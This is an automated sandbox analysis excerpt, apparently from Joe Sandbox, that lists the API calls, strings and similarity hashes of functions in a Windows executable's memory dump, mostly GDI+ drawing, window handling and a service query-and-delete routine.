GdipGetPathLastPoint.GDIPLUS(00000000,?), ref: 004581E8
GdipResetPath.GDIPLUS(00000000), ref: 00458216
#1.GDIPLUS(00000000), ref: 00458248
GdipGetPathLastPoint.GDIPLUS(00000000,?), ref: 00458260
GdipResetPath.GDIPLUS(00000000), ref: 0045828E
#1.GDIPLUS(00000000), ref: 004582C2
GdipGetPathLastPoint.GDIPLUS(00000000,00000000), ref: 004582DA
GdipResetPath.GDIPLUS(00000000), ref: 00458314
#1.GDIPLUS(00000000), ref: 0045834B
GdipGetPathLastPoint.GDIPLUS(00000000,00000000), ref: 00458363
GdipDeletePath.GDIPLUS(00000000), ref: 0045841F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipPath$LastPointReset$CreateDelete
String ID:
API String ID: 2820090972-0
Opcode ID: 2f990baf44bd20d73e386656a5ba6041f534ae142c86b67bb0f298a9baee9ea4
Instruction ID: 4a4483b2e7dc2c645fc89ccffc9d9223d29021c5c56857fdb135a8fbe4f2e15f
Opcode Fuzzy Hash: 2f990baf44bd20d73e386656a5ba6041f534ae142c86b67bb0f298a9baee9ea4
Instruction Fuzzy Hash: 7BB1E731E04709DFDB02CFBAC9506AEFBB4BF59341F149719E801B22A0E73169949F90

Function 004034A0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 226windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004A5820: wsprintfW.USER32 ref: 004A584E
Part of subcall function 004A5820: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 004A586D

CloseHandle.KERNEL32(?,B681F143), ref: 0040375D

Part of subcall function 00477320: DeviceIoControl.KERNEL32(?,07770C2C,00000000,00000000,00000000,00000004,?,00000000), ref: 0047734C

PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 00403536
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 00403565
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 00403653
GetLastError.KERNEL32(?,00000001,00000001,?,?,B681F143), ref: 00403674
FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000,?,00000001,00000001,?,?,B681F143), ref: 00403693
LocalFree.KERNEL32(00000000,00000001,?,?,B681F143), ref: 004036BE

Part of subcall function 004A6480: SetLastError.KERNEL32(00000000), ref: 004A666F

Strings

!@, xrefs: 0040358D, 004035F1, 00403606, 0040361E, 00403714
%c:, xrefs: 0040359F
0022, xrefs: 004035D1
0016, xrefs: 00403790
0029, xrefs: 004036AA

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Message$Peek$ErrorLast$CloseControlCreateDeviceFileFormatFreeHandleLocalwsprintf
String ID: !@$%c:$0016$0022$0029
API String ID: 2704691174-1726813969
Opcode ID: 5f24f6ef5e7d46d9e4a494608de4282668a4d28811a082688af7ac02d9fbadf6
Instruction ID: 31412f3bf7a1ac3e694d361a8f39e4ee48b85b686707f11fe369b3550fe6f3a5
Opcode Fuzzy Hash: 5f24f6ef5e7d46d9e4a494608de4282668a4d28811a082688af7ac02d9fbadf6
Instruction Fuzzy Hash: 6181D670E00308AAEB10DFA4CC46BEEBEB8BF05719F14412AF504B73D1D7B95A048B69

Function 00436220 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004362A4
_memset.LIBCMT ref: 004362B4
_memset.LIBCMT ref: 004362C0
_memset.LIBCMT ref: 004362CC
_memset.LIBCMT ref: 00436365
_memset.LIBCMT ref: 00436371
_memset.LIBCMT ref: 0043637D

Strings

8GW, xrefs: 00436236
SerialNumber.cpp, xrefs: 0043628C
Version2.xml, xrefs: 0043626D
_1K, xrefs: 0043638E
PublicKey, xrefs: 004362FB, 0043632A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memset$_memmove
String ID: 8GW$PublicKey$SerialNumber.cpp$Version2.xml$_1K
API String ID: 2532777613-2887264915
Opcode ID: de0c5c0a06387669f1bb31e05598b7a9625e796630f1576bdac0d428fb526df5
Instruction ID: ca0cafd54b3c3db3e4d1dbc2cdb5afc0daf6f304b2cc11b1bffecd5b0a2cdfbe
Opcode Fuzzy Hash: de0c5c0a06387669f1bb31e05598b7a9625e796630f1576bdac0d428fb526df5
Instruction Fuzzy Hash: C74172B590021AABDB10EF90DC86FEFBBBCFB49714F144129F90477281E7755A048AA5

Function 00428490 Relevance: 21.1, APIs: 6, Strings: 8, Instructions: 98COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004285EC,?,?,?,004260BD,?,00000000,?,?), ref: 004284A0
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,004260BD,?,00000000,?,?), ref: 004284B8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,?,ATTRIB_INFO_EXPAND,?,?,004260BD,?,00000000,?,?), ref: 004284E5
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,004260BD,?,00000000,?,?), ref: 004284F7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,?,ATTRIB_INFO_EXPAND,?,?,004260BD,?,00000000,?,?), ref: 00428524
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,004260BD,?,00000000,?,?), ref: 00428536

Strings

Button, xrefs: 004284CC, 0042850B, 0042854A
IMG_NORMAL_UP, xrefs: 0042855A
IMG_HIT_DOWN, xrefs: 00428596
IMG_NORMAL_DOWN, xrefs: 00428572
IMG_PUSH_DOWN, xrefs: 004285BA
IMG_PUSH_UP, xrefs: 004285A8
IMG_HIT_UP, xrefs: 00428584
ATTRIB_INFO_EXPAND, xrefs: 004284C6, 00428505, 00428544

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: ATTRIB_INFO_EXPAND$Button$IMG_HIT_DOWN$IMG_HIT_UP$IMG_NORMAL_DOWN$IMG_NORMAL_UP$IMG_PUSH_DOWN$IMG_PUSH_UP
API String ID: 904232820-555796725
Opcode ID: 11c9a47e5b92698b2e0b2151c23fcaf5e2db74ea38875ed784e1f084f3d97d25
Instruction ID: b6b36f9a8226f80d28ac43113e655ba857088e9019b2d533f81fd12321fe5249
Opcode Fuzzy Hash: 11c9a47e5b92698b2e0b2151c23fcaf5e2db74ea38875ed784e1f084f3d97d25
Instruction Fuzzy Hash: 4A31A5703C031677D62467729C42FAB6A987F50B55F08002FBB4AD62C1FED8F940D668

Function 00439130 Relevance: 19.7, APIs: 13, Instructions: 191COMMON

Download Yara Rule

APIs

GdipGraphicsClear.GDIPLUS(?,00000000,B681F143), ref: 004A1098
GdipSetSmoothingMode.GDIPLUS(?,00000002), ref: 004A10B0
GdipCreateRegion.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0053E8F0,000000FF), ref: 004A10CA
GdipGetClip.GDIPLUS(?,00000000), ref: 004A10EE
GdipCreatePath.GDIPLUS(00000000,00000000), ref: 004A1133
GdipSetClipPath.GDIPLUS(?,?,00000004), ref: 004A1172
GdipSetClipRegion.GDIPLUS(?,00000000,00000000), ref: 004A11B3
GdipSetSmoothingMode.GDIPLUS(?,00000003), ref: 004A11D5
GdipTranslateWorldTransform.GDIPLUS(?), ref: 004A1213
GdipTranslateWorldTransform.GDIPLUS(?), ref: 004A1266
GdipSetClipRegion.GDIPLUS(?,00000000,00000000), ref: 004A127B
GdipDeletePath.GDIPLUS(?), ref: 004A1291
GdipDeleteRegion.GDIPLUS(00000000), ref: 004A12A0

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$ClipRegion$Path$CreateDeleteModeSmoothingTransformTranslateWorld$ClearGraphics
String ID:
API String ID: 3845705052-0
Opcode ID: abb4dbc3257b5589be9d3270ae3f52eebd5188cd6de3b443a52635d01536f3fd
Instruction ID: c7dce2d391305d759e396d9df7e64aeae884a3180a2cf56a44ec79880b824830
Opcode Fuzzy Hash: abb4dbc3257b5589be9d3270ae3f52eebd5188cd6de3b443a52635d01536f3fd
Instruction Fuzzy Hash: EF7179756083419FD715CF28C954B2ABBE4FF9A704F004A2EF985A73A0EB31E844DB56

Function 0041D680 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 87serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000,75090460,75090500), ref: 0041D6A4
OpenServiceW.ADVAPI32(00000000,PDService,000F01FF), ref: 0041D6BB
QueryServiceStatus.ADVAPI32(00000000,?), ref: 0041D6D0
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D6E2
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D6E5
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 0041D709
OpenServiceW.ADVAPI32(00000000,?,000F01FF), ref: 0041D71D
DeleteService.ADVAPI32(00000000), ref: 0041D72A
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D731
CloseServiceHandle.ADVAPI32(?), ref: 0041D736

Strings

PDService, xrefs: 0041D6B9

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Service$CloseHandleOpen$Manager$DeleteQueryStatus
String ID: PDService
API String ID: 4103454408-2327897599
Opcode ID: e6b9b435bace0a7c1673e8052b944193f32d90310cf8a15623c92c02d35d1b29
Instruction ID: 6ae079ad34af34cc977756f326ba9ec26ebb204f395a28e9fb669ed39518a929
Opcode Fuzzy Hash: e6b9b435bace0a7c1673e8052b944193f32d90310cf8a15623c92c02d35d1b29
Instruction Fuzzy Hash: 6E21C431B02318ABCB15AF659C99AFF77A8FF99311F00002EE905A7290DA789C04D7A4

Function 0042E510 Relevance: 18.3, APIs: 12, Instructions: 263COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042E55A
GdipCreateFromHDC.GDIPLUS(00000000,?), ref: 0042E57A
GdipCreateStringFormat.GDIPLUS(00000000,00000000), ref: 0042E5FD
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?), ref: 0042E63E
SystemParametersInfoW.USER32(00000030,00000000,0053DFC0,00000000), ref: 0042E68F
GdipSetTextRenderingHint.GDIPLUS(00000000,00000005), ref: 0042E6BC
GdipSetStringFormatTrimming.GDIPLUS(00000000,00000002), ref: 0042E6CF
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?), ref: 0042E71B
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?), ref: 0042E7C3
ReleaseDC.USER32(00000000,?), ref: 0042E846
GdipDeleteStringFormat.GDIPLUS(00000000), ref: 0042E853
GdipDeleteGraphics.GDIPLUS(00000000), ref: 0042E861

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$FormatMeasure$CreateDelete$FromGraphicsHintInfoParametersReleaseRenderingSystemTextTrimming
String ID:
API String ID: 3909781840-0
Opcode ID: 0b8b016dcd3aa8d5325656bcd8e34c06c7f9fee584fceeed740c6258915acdf6
Instruction ID: ec4d796a4ae45c7bb6f91e9307edf151e4d2becafce912e3743b59b4ef1b6657
Opcode Fuzzy Hash: 0b8b016dcd3aa8d5325656bcd8e34c06c7f9fee584fceeed740c6258915acdf6
Instruction Fuzzy Hash: B1B13771D103189FDB11CFAAD894BAEBBB4BF59304F14831AE815B72A0EB746985DF10

Function 00418570 Relevance: 18.2, APIs: 12, Instructions: 214windowsleepCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000), ref: 004185B4

Part of subcall function 004CB410: GdipSetSmoothingMode.GDIPLUS(?,00000003,?,lB,0056CE40,?,?,?,?,0042E96C,?,?), ref: 004CB477

__CxxThrowException@8.LIBCMT ref: 00418608

Part of subcall function 00502BEB: RaiseException.KERNEL32(?,?,B681F143,005A7F20,?,?,?,?,?,004FFD4E,B681F143,005A7F20,?,00000001), ref: 00502C40

QueryPerformanceFrequency.KERNEL32(?,?,00577AF8), ref: 0041861B
QueryPerformanceCounter.KERNEL32(00000000), ref: 00418649
QueryPerformanceCounter.KERNEL32(00000000), ref: 0041864F
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000002), ref: 004186A6
GetDC.USER32(00000000), ref: 00418738
UpdateLayeredWindow.USER32(?,00000000,?,?,?,00000000,00000000,00000000,00000002), ref: 00418761
ReleaseDC.USER32(00000000,00000000), ref: 0041876A
Sleep.KERNEL32(0000000A), ref: 00418772
QueryPerformanceCounter.KERNEL32(00000000), ref: 0041877C
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000002), ref: 004187C5

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: PerformanceQuery$Counter$MessagePeekWindow$ExceptionException@8FrequencyGdipLayeredModeRaiseRectReleaseSleepSmoothingThrowUpdate
String ID:
API String ID: 1948315272-0
Opcode ID: 1306a8954b857425f68729ebc9de93de622753df58c09ae304f5336cb33c49d6
Instruction ID: 95268be089aaa629ead29e8009c24e375342d2e9e287a7d4d7c7dff199bfb841
Opcode Fuzzy Hash: 1306a8954b857425f68729ebc9de93de622753df58c09ae304f5336cb33c49d6
Instruction Fuzzy Hash: 8D911375900219AFDB11DFA4DC99BDEBBB8BF08300F10421AE915B72A1DB74A988CF50

Function 004A0330 Relevance: 18.2, APIs: 12, Instructions: 210windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004D44A0: VirtualAlloc.KERNEL32(00000000,00000014,00001000,00000040,?,004A0394,B681F143), ref: 004D44B4
Part of subcall function 004D44A0: GetCurrentProcess.KERNEL32(?,00000014), ref: 004D4512
Part of subcall function 004D44A0: FlushInstructionCache.KERNEL32(00000000), ref: 004D4519

Part of subcall function 0049FFD0: EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004A03AE), ref: 0049FFE0
Part of subcall function 0049FFD0: LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,004A03AE), ref: 0049FFF8
Part of subcall function 0049FFD0: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,BASE_DIALOG,?,?,?,004A03AE), ref: 004A0025
Part of subcall function 0049FFD0: LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,004A03AE), ref: 004A0037
Part of subcall function 0049FFD0: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,BASE_DIALOG,?,?,?,004A03AE), ref: 004A0064
Part of subcall function 0049FFD0: LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,004A03AE), ref: 004A0076

GetDesktopWindow.USER32 ref: 004A0440
IsWindowEnabled.USER32(?), ref: 004A044B
SendMessageW.USER32(?,0000000A,00000000,00000000), ref: 004A045C
EnableWindow.USER32(?,00000000), ref: 004A0465
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004A047E
GetSystemMetrics.USER32(00000000), ref: 004A048C
GetSystemMetrics.USER32(00000001), ref: 004A049C
SetWindowPos.USER32(00000000), ref: 004A0573
SendMessageW.USER32(?,0000000A,00000001,00000000), ref: 004A0587
EnableWindow.USER32(?,00000001), ref: 004A0590
IsWindowVisible.USER32(?), ref: 004A0597
SetFocus.USER32(?), ref: 004A05A2

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSectionWindow$EnterLeaveSystem$EnableMessageMetricsSend$AllocCacheCurrentDesktopEnabledFlushFocusInfoInstructionParametersProcessVirtualVisible
String ID:
API String ID: 1894409159-0
Opcode ID: 4845bb2ca16c6743520c26e6cfeb3c907d30fd7a799e74f5d1b2e40b019319bd
Instruction ID: ca7d7337173049c433cc300b30aa717aa02b0ec72a163a980d60eaac7abb48ac
Opcode Fuzzy Hash: 4845bb2ca16c6743520c26e6cfeb3c907d30fd7a799e74f5d1b2e40b019319bd
Instruction Fuzzy Hash: C78177716043029FD714CF28CC95B6ABBE4BF99714F044A1EFA8597390DBB8A844CB95

Function 0042D280 Relevance: 18.1, APIs: 6, Strings: 6, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 0042D290
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0042D2A8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,TIP), ref: 0042D2D5
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0042D2E7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,TIP), ref: 0042D314
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0042D326

Strings

TIP, xrefs: 0042D2B6, 0042D2F5, 0042D334
CR_BACKGROUND_END, xrefs: 0042D362
CR_BORDER_HIGH, xrefs: 0042D374
CR_BACKGROUND_BEGIN, xrefs: 0042D34A
CR_BORDER_LOW, xrefs: 0042D386
Dialog, xrefs: 0042D2BC, 0042D2FB, 0042D33A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CR_BACKGROUND_BEGIN$CR_BACKGROUND_END$CR_BORDER_HIGH$CR_BORDER_LOW$Dialog$TIP
API String ID: 904232820-1338357848
Opcode ID: 3184883e3bbcf50b103be5c407a2c1b740f3258166e6d1a4ecb10b69ecec8258
Instruction ID: 252201c445374297da46a1710a5ed91b30bf55358ecd8daef3d6722c52a5c2f4
Opcode Fuzzy Hash: 3184883e3bbcf50b103be5c407a2c1b740f3258166e6d1a4ecb10b69ecec8258
Instruction Fuzzy Hash: F42183707803126BEB10E772DD52FE66B987F50B15F04002ABA49E72C0EED4FC45D625

Function 004A3510 Relevance: 16.7, APIs: 11, Instructions: 219COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004A354E
GdipCreateFromHDC.GDIPLUS(00000000,000000FF), ref: 004A356B
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 004A35C4
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004A35DB
GdipSetTextRenderingHint.GDIPLUS(005496D0,00000005), ref: 004A3617
GdipSetStringFormatTrimming.GDIPLUS(00000000,00000002), ref: 004A362D
GdipMeasureString.GDIPLUS(005496D0,?,000000FF,00000000,?,00000000,00000000,?,?), ref: 004A3679
GdipMeasureString.GDIPLUS(005496D0,?,000000FF,00000000,?,00000000,00000000,?,?), ref: 004A3737
ReleaseDC.USER32(00000000,?), ref: 004A378D
GdipDeleteStringFormat.GDIPLUS(00000000), ref: 004A379A
